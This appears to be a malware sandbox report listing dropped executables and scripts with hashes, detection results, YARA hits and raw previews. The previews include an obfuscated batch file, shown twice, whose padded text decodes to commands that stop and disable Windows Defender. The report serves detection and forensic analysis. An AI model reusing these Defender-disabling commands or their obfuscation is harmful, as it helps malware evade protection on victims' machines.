SHA-512:	C9A74FA4154FA5E5951B0EEAC5330CA4BAC981FF9AD24C08575A76AD5D99CFB68556B9857C9C8209A1BFCB43F82E00F14962987A18A92A715F45AD0D4E4A718C
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\EA8A.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\EA8A.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	5.365622957937216
Encrypted:	false
SSDEEP:	24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7K84jE4Ks:MxHKXwYHKhQnoPtHoxHhAHKzvKvjHKs
MD5:	AE8CFF33270358D6EC23793128B3EF2F
SHA1:	5E6B156157EDEA4222A5E0C258AE9ADEBB8CB7CE
SHA-256:	498EAB9F855E7CE9B812EAD41339A9475127F0C8E7249033B975071D2292220C
SHA-512:	473111AD332D5E66724AFB0CE5A1E1C97890D60484A818D1DB8C2386A99C05BAE6C9D5C535DDFB6790BF5707C153502B938BE201393A3D70342A62902E0A3C98
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutra

C:\Users\user\AppData\Local\Temp\1105.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\CD0D.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1622408
Entropy (8bit):	6.298350783524153
Encrypted:	false
SSDEEP:	24576:hNZ04UyDzGrVh8xsPCw3/dzcldJndozS35IW1q/kNVSYVEs4j13HLHGJImdV4q:dGrVr3hclvnqzS35IWk/LvRHb0
MD5:	BFA689ECA05147AFD466359DD4A144A3
SHA1:	B3474BE2B836567420F8DC96512AA303F31C8AFC
SHA-256:	B78463B94388FDDB34C03F5DDDD5D542E05CDED6D4E38C6A3588EC2C90F0070B
SHA-512:	8F09781FD585A6DFB8BBC34B9F153B414478B44B28D80A8B0BDC3BED687F3ADAB9E60F08CCEC5D5A3FD916E3091C845F9D96603749490B1F7001430408F711D4
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 2%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L!y>.@.m.@.m.@.m...l.@.mg$.l.@.mg$.lN@.mg$.l.A.mg$.l.@.mg$.l.@.mg$.m.@.mg$.l.@.mRich.@.m........................PE..L...s<s............!.....,...................P....(K......................................@A.............................&..............8............h...Y.......N..`l..T............................................................................text....).......*.................. ..`RT...........@...................... ..`.data...dW...P.......0..............@....mrdata.h#.......$...>..............@....00cfg...............b..............@..@.rsrc...8............d..............@..@.reloc...N.......P..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3D1.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	600064
Entropy (8bit):	7.08622054901022
Encrypted:	false
SSDEEP:	12288:5sUIdOyImnTRTDjpz0e6LUDR+SiDkYj7:iD3ntTDjR0e6ogD
MD5:	C1EB42674C5E7180ADEFEC71EE8B1D60
SHA1:	4532F19A27443639D789F79231D127031AAE2E29
SHA-256:	DFC50DE58C6339E624B60A7E6D5BCCC20297656CD80183379FAC54F11B3E6F56
SHA-512:	20F845413A0D1FCE41F6206B62704CB14E019EA1874B5AAA37FD2220E9C0E8D4C672E9199179770E11D75634AB0C952F0E51B6937FBB0DC5EABD808C8451F3DF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ctw.Ctw.Ctw.,...ntw.,...atw.,...<tw.J...Dtw.Ctv.<tw.,...Btw.,...Btw.,...Btw.RichCtw.........PE..L....)R_......................p.....P.............@...........................x.................................................P....@w..?....................w.0...0...............................(...@............................................text.............................. ..`.data....io.........................@....vito........0w.....................@....rsrc....?...@w..@..................@..@.reloc..."....w..$..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\B82B.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91000
Entropy (8bit):	6.241345766746317
Encrypted:	false
SSDEEP:	1536:JW3osrWjET3tYIrrRepnbZ6ObGk2nLY2jR+utQUN+WXim:HjjET9nX0pnUOik2nXjR+utQK+g3
MD5:	17FC12902F4769AF3A9271EB4E2DACCE
SHA1:	9A4A1581CC3971579574F837E110F3BD6D529DAB
SHA-256:	29AE7B30ED8394C509C561F6117EA671EC412DA50D435099756BBB257FAFB10B
SHA-512:	036E0D62490C26DEE27EF54E514302E1CC8A14DE8CE3B9703BF7CAF79CFAE237E442C27A0EDCF2C4FD41AF4195BA9ED7E32E894767CE04467E79110E89522E4A
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......oH..+)..+)..+)...&.))...&.9).....()...... )..+)...(......()......).....).....)..Rich+)..........................PE..L.....(_.........................................@..........................@..............................................L............a...........B..x!..........p...................................................<............................text...)........................... ..`.rdata.../.......0..................@..@.data...............................@....rsrc....a.......b..................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\test.bat Download File
Process:	C:\Users\user\AppData\Local\Temp\B82B.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	8399
Entropy (8bit):	4.665734428420432
Encrypted:	false
SSDEEP:	192:XjtIefE/Qv3puaQo8BElNisgwgxOTkre0P/XApNDQSO8wQJYbZhgEAFcH8N:xIef2Qh8BuNivdisOyj6YboVF3N
MD5:	B2A5EF7D334BDF866113C6F4F9036AAE
SHA1:	F9027F2827B35840487EFD04E818121B5A8541E0
SHA-256:	27426AA52448E564B5B9DFF2DBE62037992ADA8336A8E36560CEE7A94930C45E
SHA-512:	8ED39ED39E03FA6D4E49167E8CA4823E47A221294945C141B241CFD1EB7D20314A15608DA3FAFC3C258AE2CFC535D3E5925B56CACEEE87ACFB7D4831D267189E
Malicious:	false
Reputation:	unknown
Preview:	@%nmb%e%lvjgxfcm%c%qckbdzpzhfjq%h%anbajpojymsco%o%nransp% %aqeoe%o%mitd%f%puzu%f%bjs%..%fmmjryur%s%ukdtxiqneflfe%c%toqs% %xbvjy%s%ykctzeltrurlx%t%xdvrvty%o%tutofjebvoygco%p%noaevpkwrrrcf% %npfksd%w%ljconeph%i%sinxiygfbc%n%ykxnbrpdqztrdb%d%mfuvueeajpyxla%e%ewyybmmo%f%jdztigyb%e%izwgzizuwfwq%n%slmffy%d%azh%..%wlhzjhxuz%s%zuiczqrqav%c%ocphncbzosf% %uee%c%kwrr%o%ofppkctzbccubb%n%oyhovbqs%f%nue%i%lgybsrbqk%g%xguast% %vas%w%tdayskzhki%i%fmmjryurgrdcz%n%emroplriim%d%ymxvyr%e%iqpwnheoi%f%ffehbxrlehlo%e%tutofjebvo%n%ywjkif%d%pvdaa% %trpa%s%xznydsnqgdbu%t%hplrbjxhnjes%a%yhyferx%r%dwcez%t%rrugvyblp%=%zjthdesmo% %ewyybmmowgsjdr%d%snmn%i%mbm%s%akxnoc%a%xar%b%mwm%l%ozlt%e%wlhzjhxuzh%d%roqtalnv%..%hlhdhvi%s%nsespdzm%c%kwrrsgvucidm% %ueax%s%xunijsdqhif%t%prvhhnqvvouz%o%liyjprtqxuur%p%jskzmuaxtb% %vwoqshkaaladz%S%ruuosytlcgu%e%nftvippqc%n%qhj%s%llxrmrlqje%e%tutofje%..%xxnqgsvqut%s%racqhzwreqndv%c%skizikcom% %ytf%c%pxdixotcxymnev%o%dwcezzifyaqd%n%jjdpztfrehpv%f%xxrweg%i%lpfkfswxzemf%g%rxycnmibql% %hfzbr

C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\DF9C.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	6144:pkY0668MzX0oJgx6nrBdkBSrBHHHI6t7af9GH0WbcSDkTDhm6Xpic76vneCVvK36:phHmzXaNIWsUwgrNt1E/Z
MD5:	AB823DF932B3C2941A9015848EBDB97B
SHA1:	A7E2D46ADA3A42A3D32A96937C316340F2E62A5B
SHA-256:	812D78A50A8DE210DBBCE12FDA210461770B8B928F8B3249DE80ECB68055F61E
SHA-512:	59AC83CED7E0A68E7491812B494E715FC19BA2AA25EDBC0B5765792A1DC19432DBF8F5B671EA4EEBF590740C63EE1A50FE4B0FC716B986F6C5070B920F5C2325
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...R.\|a.........."...0..............1... ........@.. ....................................`..................................1..W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................1......H............D......Q...................................................V#... ..A#... ..A&&...0.......... QB.o.......(....&..0.......... .n.m.......(....&..0..J.........(....+.~.....(....,.........+..+........(....(.........(....(.........*...0..........(....(.....% t..(...+.....% .g..(...+.....% ..0.(...+...... H.NB(...+.....% .z..(...+.....% [/}h(...+.....% ....(...+.....% M.3(...+.....% ....(...+.....% ....(...+.....% _.C.(...+.....% ..&d(...+..... ...}(...++". ...

C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\AdvancedRun.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\EA8A.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91000
Entropy (8bit):	6.241345766746317
Encrypted:	false
SSDEEP:	1536:JW3osrWjET3tYIrrRepnbZ6ObGk2nLY2jR+utQUN+WXim:HjjET9nX0pnUOik2nXjR+utQK+g3
MD5:	17FC12902F4769AF3A9271EB4E2DACCE
SHA1:	9A4A1581CC3971579574F837E110F3BD6D529DAB
SHA-256:	29AE7B30ED8394C509C561F6117EA671EC412DA50D435099756BBB257FAFB10B
SHA-512:	036E0D62490C26DEE27EF54E514302E1CC8A14DE8CE3B9703BF7CAF79CFAE237E442C27A0EDCF2C4FD41AF4195BA9ED7E32E894767CE04467E79110E89522E4A
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......oH..+)..+)..+)...&.))...&.9).....()...... )..+)...(......()......).....).....)..Rich+)..........................PE..L.....(_.........................................@..........................@..............................................L............a...........B..x!..........p...................................................<............................text...)........................... ..`.rdata.../.......0..................@..@.data...............................@....rsrc....a.......b..................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\test.bat Download File
Process:	C:\Users\user\AppData\Local\Temp\EA8A.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	8399
Entropy (8bit):	4.665734428420432
Encrypted:	false
SSDEEP:	192:XjtIefE/Qv3puaQo8BElNisgwgxOTkre0P/XApNDQSO8wQJYbZhgEAFcH8N:xIef2Qh8BuNivdisOyj6YboVF3N
MD5:	B2A5EF7D334BDF866113C6F4F9036AAE
SHA1:	F9027F2827B35840487EFD04E818121B5A8541E0
SHA-256:	27426AA52448E564B5B9DFF2DBE62037992ADA8336A8E36560CEE7A94930C45E
SHA-512:	8ED39ED39E03FA6D4E49167E8CA4823E47A221294945C141B241CFD1EB7D20314A15608DA3FAFC3C258AE2CFC535D3E5925B56CACEEE87ACFB7D4831D267189E
Malicious:	false
Reputation:	unknown
Preview:	@%nmb%e%lvjgxfcm%c%qckbdzpzhfjq%h%anbajpojymsco%o%nransp% %aqeoe%o%mitd%f%puzu%f%bjs%..%fmmjryur%s%ukdtxiqneflfe%c%toqs% %xbvjy%s%ykctzeltrurlx%t%xdvrvty%o%tutofjebvoygco%p%noaevpkwrrrcf% %npfksd%w%ljconeph%i%sinxiygfbc%n%ykxnbrpdqztrdb%d%mfuvueeajpyxla%e%ewyybmmo%f%jdztigyb%e%izwgzizuwfwq%n%slmffy%d%azh%..%wlhzjhxuz%s%zuiczqrqav%c%ocphncbzosf% %uee%c%kwrr%o%ofppkctzbccubb%n%oyhovbqs%f%nue%i%lgybsrbqk%g%xguast% %vas%w%tdayskzhki%i%fmmjryurgrdcz%n%emroplriim%d%ymxvyr%e%iqpwnheoi%f%ffehbxrlehlo%e%tutofjebvo%n%ywjkif%d%pvdaa% %trpa%s%xznydsnqgdbu%t%hplrbjxhnjes%a%yhyferx%r%dwcez%t%rrugvyblp%=%zjthdesmo% %ewyybmmowgsjdr%d%snmn%i%mbm%s%akxnoc%a%xar%b%mwm%l%ozlt%e%wlhzjhxuzh%d%roqtalnv%..%hlhdhvi%s%nsespdzm%c%kwrrsgvucidm% %ueax%s%xunijsdqhif%t%prvhhnqvvouz%o%liyjprtqxuur%p%jskzmuaxtb% %vwoqshkaaladz%S%ruuosytlcgu%e%nftvippqc%n%qhj%s%llxrmrlqje%e%tutofje%..%xxnqgsvqut%s%racqhzwreqndv%c%skizikcom% %ytf%c%pxdixotcxymnev%o%dwcezzifyaqd%n%jjdpztfrehpv%f%xxrweg%i%lpfkfswxzemf%g%rxycnmibql% %hfzbr

C:\Users\user\AppData\Local\Temp\6EC5.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	344064
Entropy (8bit):	5.99188338211275
Encrypted:	false
SSDEEP:	6144:O0kWD+3Pz81AwPC4BVZ2LGuSoGZkk4mAzaV/:JZD+/CO4ULGuShkk4m1V/
MD5:	3B947ED5AABDD775B1AFC31A5C4D39A0
SHA1:	552AA072522F22A003CADD3BCAD5E4EB981A5CBB
SHA-256:	8245AD87EEA6A1F19F658ADEF8A30B9A512760D866B7075BBF205D7A54296234
SHA-512:	AE62F33E3B0DAE89BBD33481B50E6BA53F31AD8699D1570C8B03D73C2045E870CBA25A06CC3DCEA07D784CA688F63C2C335BD262B0722B4461D29AB54357C226
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ctw.Ctw.Ctw.,...ntw.,...atw.,...<tw.J...Dtw.Ctv.<tw.,...Btw.,...Btw.,...Btw.RichCtw.........PE..L...6.`......................p.....@.............@...........................t.....1...........................................P....Ps..?....................s.<...0...................................@............................................text.............................. ..`.data....io.........................@....lufulac.....@s.....................@....rsrc....?...Ps..@..................@..@.reloc..."....s..$..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9C1A.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	876032
Entropy (8bit):	7.460770275761101
Encrypted:	false
SSDEEP:	24576:rllHH+L2668JnnVlA56Bl0vXiTfbm9CW9:rll+L2mtVlA5+cb
MD5:	94A2C61443FDC38F87B7903D5FF979E7
SHA1:	CB98E7B675EFCE00C9EAEC98B2B7F4C154B5E0D7
SHA-256:	D89B90BED3CA49A3110AB8ABF95B27E42E87F31FA6427E32857F097DA65C58AB
SHA-512:	698F87628375FA33BDDF97907DD09A95C1C20989D68D032E224330ED2EBFCEBC35DE4D0B4A1A3353C9840C76AE88F6D56640072F859D7C9ECD2560F276CB1B08
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ctw.Ctw.Ctw.,...ntw.,...atw.,...<tw.J...Dtw.Ctv.<tw.,...Btw.,...Btw.,...Btw.RichCtw.........PE..L...J..`......................p...................@...........................\|................................................P....p{..?....................{.0...0...............................H...@............................................text............................... ..`.data....io.........................@....yuso........`{.....................@....rsrc....?...p{..@..................@..@.reloc..."....{..$...:..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B82B.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	512512
Entropy (8bit):	7.846723941917503
Encrypted:	false
SSDEEP:	12288:Tw86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+LF:TVhdLVg2Zep7njXzPDxC+J
MD5:	F57B28AEC65D4691202B9524F84CC54A
SHA1:	F546B20EB40E3BC2B6929BA0F574E32422CED30C
SHA-256:	87D86132095541ED3B5FE05EB06692E1712287B6FFD9832A28EB85F52B55F0A5
SHA-512:	1A773186B0A15F743F8D9681036A9ECA45E2DD5F7944725498E929C5438ACFFCD753061EB475383E5759FC41A8ADE4EB717F3D3529313C3C0D48C659B5E36F09
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\B82B.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................0.................. ........@.. .......................@............`.....................................S............................ ....................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H........u...p..........HZ..X...........................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\C1B2.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	512952
Entropy (8bit):	7.861107666291364
Encrypted:	false
SSDEEP:	12288:2w86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+w:2VhdLVg2Zep7njXzPDxC+w
MD5:	42758E2569239A774BECDB12698B124C
SHA1:	4AB353C4177A69FC9A6F3844852762809591DD2F
SHA-256:	E3380DFDD6297AC134BB22C7C1603782F198A5B2164855BF66A95BAE47AB472D
SHA-512:	959A6D4E39BC949F8C92C4213A7DD424EFF46AACCBCE6553D42863F4341B934CEB14997F67FDC2013D064A09C6134B9A113438347B7DEDF65E3A7E2ADA5DEF18
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\C1B2.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................0.................. ........@.. ....................... ............`.................................D...W.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........t...^..........HY..X...........................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\CD0D.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	212992
Entropy (8bit):	6.734269361613487
Encrypted:	false
SSDEEP:	3072:UJ+Dg6a/6BO0fFI4+uX67vtk4nNcDxzyuEpuVMO6P2+BwvHJ3/RA:FDy/6BOSFI48v2dxzyuEpynVP
MD5:	73252ACB344040DDC5D9CE78A5D3A4C2
SHA1:	3A16C3698CCF7940ADFB2B2A9CC8C20B1BA1D015
SHA-256:	B8AC77C37DE98099DCDC5924418D445F4B11ECF326EDD41A2D49ED6EFD2A07EB
SHA-512:	1541E3D7BD163A4C348C6E5C7098C6F3ADD62B1121296CA28934A69AD308C2E51CA6B841359010DA96E71FA42FD6E09F7591448433DC3B01104007808427C3DE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 80%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......^.................V...........,.......p....@..................................q......................................\...<.... ..8............................q.................................@............p..x............................text....U.......V.................. ..`.rdata...G...p...H...Z..............@..@.data...DB..........................@....cipizi.r...........................@..@.rsrc...8.... ......................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DF9C.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	859648
Entropy (8bit):	2.9241367623104355
Encrypted:	false
SSDEEP:	6144:pkY0668MzX0oJgx6nrBdkBSrBHHHI6t7af9GH0WbcSDkTDhm6Xpic76vneCVvK36:phHmzXaNIWsUwgrNt1E/Z
MD5:	AB823DF932B3C2941A9015848EBDB97B
SHA1:	A7E2D46ADA3A42A3D32A96937C316340F2E62A5B
SHA-256:	812D78A50A8DE210DBBCE12FDA210461770B8B928F8B3249DE80ECB68055F61E
SHA-512:	59AC83CED7E0A68E7491812B494E715FC19BA2AA25EDBC0B5765792A1DC19432DBF8F5B671EA4EEBF590740C63EE1A50FE4B0FC716B986F6C5070B920F5C2325
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...R.\|a.........."...0..............1... ........@.. ....................................`..................................1..W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................1......H............D......Q...................................................V#... ..A#... ..A&&...0.......... QB.o.......(....&..0.......... .n.m.......(....&..0..J.........(....+.~.....(....,.........+..+........(....(.........(....(.........*...0..........(....(.....% t..(...+.....% .g..(...+.....% ..0.(...+...... H.NB(...+.....% .z..(...+.....% [/}h(...+.....% ....(...+.....% M.3(...+.....% ....(...+.....% ....(...+.....% _.C.(...+.....% ..&d(...+..... ...}(...++". ...

C:\Users\user\AppData\Local\Temp\EA8A.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	161280
Entropy (8bit):	5.163359140538006
Encrypted:	false
SSDEEP:	3072:hj1+ax5s9jVultxyIAMzTjSMzTjoIe1UhCp:hJqjVoeN
MD5:	9FA070AF1ED2E1F07ED8C9F6EB2BDD29
SHA1:	6E1ACD6CB17AB64AC6DBF0F4400C649371B0E3BD
SHA-256:	08D67F957EC38E92301EEAAAF2759EF2A070376239EAD25864C88F3DD31EAB8C
SHA-512:	14A1CD1090A2ECCEA3B654EEE2B7D4DE390219F8C3C200D97D2AB431311BDF24B1B40F2F38E78804AD286654CD33DFB515704C9B863DAF0786A0D633F05C9BF2
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\EA8A.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 43%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0.wa..............P..l.............. ........@.. ...................................@.....................................O....................x............................................................... ............... ..H............text....k... ...l.................. ..`.rsrc................n..............@..@.reloc...............t..............@..B.......................H.......(u..t.......A...HL...(..........................................M...Z...........................................................................................@...............................................................................................................................................................................................!...........L.......!...T...h...i...s... ...p...r...o...g...r...a...m... ...c...a...n...n...o...t... ...b...e... ...r...

C:\Users\user\AppData\Local\Temp\F4BC.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	347136
Entropy (8bit):	5.994706914620217
Encrypted:	false
SSDEEP:	6144:5rT+Wp+Ouiv24iPmSCyf11rcrKElOoL91iH+2k9Q9:5H/p+Ouiv24gf11rcrKElOSiH
MD5:	31BE6099D31BDBF1ED339EFFDC1C7064
SHA1:	6B1077BE6CF57EA98C3BE8B6F0268D025EA72D88
SHA-256:	9D9056D76BE4BEB3CC17CD95C47108AB42D73255F2BC031423D044ED927FB885
SHA-512:	ECC057643C2E65C74F3286C8856EB57FEC75FCB650FBE864D53EC0C36C34E0DA3242E19657B1ABB75AA3EEE88A7367E77FFC0E3FE98BFEF0D180C74966D1CEDE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 57%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4...p.e.p.e.p.e....\.e.....R.e.....e.y...w.e.p.d...e....q.e.....q.e.....q.e.Richp.e.........................PE..L...g.._......................p.....p.............@...........................t.................................................P....`s.h?....................s.....0..................................@............................................text... ........................... ..`.data....io.........................@....daya........Ps.....................@....rsrc...h?...`s..@..................@..@.reloc...#....s..$...(..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\ffjbuft Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	347136
Entropy (8bit):	5.994706914620217
Encrypted:	false
SSDEEP:	6144:5rT+Wp+Ouiv24iPmSCyf11rcrKElOoL91iH+2k9Q9:5H/p+Ouiv24gf11rcrKElOSiH
MD5:	31BE6099D31BDBF1ED339EFFDC1C7064
SHA1:	6B1077BE6CF57EA98C3BE8B6F0268D025EA72D88
SHA-256:	9D9056D76BE4BEB3CC17CD95C47108AB42D73255F2BC031423D044ED927FB885
SHA-512:	ECC057643C2E65C74F3286C8856EB57FEC75FCB650FBE864D53EC0C36C34E0DA3242E19657B1ABB75AA3EEE88A7367E77FFC0E3FE98BFEF0D180C74966D1CEDE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 57%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4...p.e.p.e.p.e....\.e.....R.e.....e.y...w.e.p.d...e....q.e.....q.e.....q.e.Richp.e.........................PE..L...g.._......................p.....p.............@...........................t.................................................P....`s.h?....................s.....0..................................@............................................text... ........................... ..`.data....io.........................@....daya........Ps.....................@....rsrc...h?...`s..@..................@..@.reloc...#....s..$...(..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\fijbuft Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	212992
Entropy (8bit):	6.734269361613487
Encrypted:	false
SSDEEP:	3072:UJ+Dg6a/6BO0fFI4+uX67vtk4nNcDxzyuEpuVMO6P2+BwvHJ3/RA:FDy/6BOSFI48v2dxzyuEpynVP
MD5:	73252ACB344040DDC5D9CE78A5D3A4C2
SHA1:	3A16C3698CCF7940ADFB2B2A9CC8C20B1BA1D015
SHA-256:	B8AC77C37DE98099DCDC5924418D445F4B11ECF326EDD41A2D49ED6EFD2A07EB
